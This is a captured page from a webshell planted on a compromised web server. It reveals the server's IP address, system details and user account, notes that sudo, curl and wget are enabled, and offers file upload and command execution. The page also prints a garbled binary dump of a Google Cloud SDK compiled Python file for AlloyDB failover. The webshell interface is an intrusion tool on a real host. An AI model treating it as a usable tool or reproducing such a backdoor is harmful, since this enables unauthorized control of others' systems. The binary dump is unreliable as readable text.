403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/google-cloud-sdk/lib/surface/alloydb/instances/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/google-cloud-sdk/lib/surface/alloydb/instances/__pycache__/failover.cpython-311.pyc
�

�����dZddlmZddlmZddlmZddlmZddlmZddlm	Z	ddl
mZdd	lm
Z
dd
lmZddlmZe	je	jje	jje	jj��Gd�d
e	j����ZdS)zFailover an AlloyDB instance.�)�absolute_import)�division)�unicode_literals)�api_util)�instance_operations)�base)�flags)�log)�
properties)�	resourcesc�8�eZdZdZddd�Zed���Zd�ZdS)�Failoverz4Failover an AlloyDB instance within a given cluster.z
{description}z{        To failover an instance, run:

          $ {command} my-instance --cluster=my-cluster --region=us-central1
        )�DESCRIPTION�EXAMPLESc��tj�|��tj|d��tj|��tj|��dS)zxSpecifies additional command flags.

    Args:
      parser: argparse.Parser, Parser object for command line inputs
    FN)r�
ASYNC_FLAG�AddToParserr	�
AddCluster�AddInstance�	AddRegion)�parsers �)lib/surface/alloydb/instances/failover.py�Argsz
Failover.Args.sT��	�O����'�'�'�	��V�U�#�#�#�	��f����	�O�F������c��tj|�����}|j}|j}|j�dtjj	j
j|j|j
|j���}|�|������}|j�|��}t&j�|jd���}t.j�d�|�������|js)t;j|d|���d��|S)	z�Constructs and sends request.

    Args:
      args: argparse.Namespace, An object that contains the values for the
        arguments specified in the .Args() method.

    Returns:
      ProcessHttpResponse of the request made.
    z-alloydb.projects.locations.clusters.instances)�
projectsId�locationsId�
clustersId�instancesId)�namez%alloydb.projects.locations.operations)�
collectionzOperation ID: {}zFailing over instanceF)r�
AlloyDBClient�ReleaseTrack�alloydb_client�alloydb_messages�resource_parser�Creater�VALUES�core�project�	GetOrFail�region�cluster�instance�8AlloydbProjectsLocationsClustersInstancesFailoverRequest�RelativeName�%projects_locations_clusters_instancesrr�REGISTRY�ParseRelativeNamer r
�status�Print�format�Name�async_r�Await)	�self�args�clientr$r%�project_ref�req�op�op_refs	         r�RunzFailover.Run:s?���
#�D�$5�$5�$7�$7�
8�
8�F��*�N��.���(�/�/�7��$�)�1�;��K��<��M�0�#�#�K��
S�
S�
�
%�
%�
'�
'�T�)�)�C�	�	=�	F�	F�s�	K�	K�B�
�
�
1�
1�
��C�2�E�E�F��J���'�.�.�v�{�{�}�}�=�=�>�>�>��;�<����(?� $� 1� 1� 3� 3�U�<�<�<�
�IrN)�__name__�
__module__�__qualname__�__doc__�
detailed_help�staticmethodrrA�rrrrs\������=�<���		�	�-��	�	��<�	�����rrN)rE�
__future__rrr�googlecloudsdk.api_lib.alloydbrr�googlecloudsdk.callioper�"googlecloudsdk.command_lib.alloydbr	�googlecloudsdk.corer
rr�
ReleaseTracksr#�ALPHA�BETA�GA�
SilentCommandrrHrr�<module>rSs/��$�#�&�&�&�&�&�&�������'�'�'�'�'�'�3�3�3�3�3�3�>�>�>�>�>�>�(�(�(�(�(�(�4�4�4�4�4�4�#�#�#�#�#�#�*�*�*�*�*�*�)�)�)�)�)�)����D�%�+�T�->�-C��%�(�*�*�6�6�6�6�6�t�!�6�6�*�*�6�6�6r

Youez - 2016 - github.com/yon3zu
LinuXploit